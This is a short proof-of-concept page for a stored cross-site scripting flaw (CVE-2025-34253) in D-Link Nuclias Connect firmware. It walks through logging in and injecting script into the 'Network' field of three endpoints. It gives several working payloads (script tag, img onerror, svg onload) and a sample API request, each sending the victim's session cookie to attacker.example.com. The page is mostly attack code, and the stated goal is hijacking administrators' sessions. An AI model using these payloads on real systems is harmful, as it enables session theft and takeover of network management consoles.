CVE-2025-34253：D-Link Nuclias Connect存储型XSS漏洞

<!-- CVE-2025-34253 - D-Link Nuclias Connect Stored XSS PoC --> <!-- Vulnerability: Improper sanitization of 'Network' field --> <!-- Affected: D-Link Nuclias Connect firmware <= 1.3.1.4 --> <!-- Step 1: Authenticate to the Nuclias Connect web management interface --> <!-- POST /login (with valid low-privilege credentials) --> <!-- Step 2: Inject malicious payload into the 'Network' field --> <!-- This can be done in three vulnerable endpoints: --> <!-- - Edit network configuration --> <!-- - Create a new profile --> <!-- - Add a new network --> <!-- Example malicious payload for the 'Network' field: --> <script>fetch('https://attacker.example.com/steal?c='+document.cookie+'&u='+document.location)</script> <!-- Alternative payloads: --> <img src=x onerror="fetch('https://attacker.example.com/log?d='+btoa(document.cookie))"> <svg/onload="var x=new XMLHttpRequest();x.open('GET','https://attacker.example.com/?c='+document.cookie,true);x.send()"> <!-- HTTP Request Example (using curl) for creating a profile with XSS payload: --> /* POST /api/v1/profiles HTTP/1.1 Host: <target-nuclias-connect-host> Content-Type: application/json Cookie: session=<authenticated-session-cookie> { "profile_name": "TestProfile", "network": "<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>", "description": "Test" } */ <!-- Step 3: When any user (including admin) views the profile entry, --> <!-- the injected JavaScript executes in their browser context, --> <!-- allowing session hijacking, credential theft, or further attacks. -->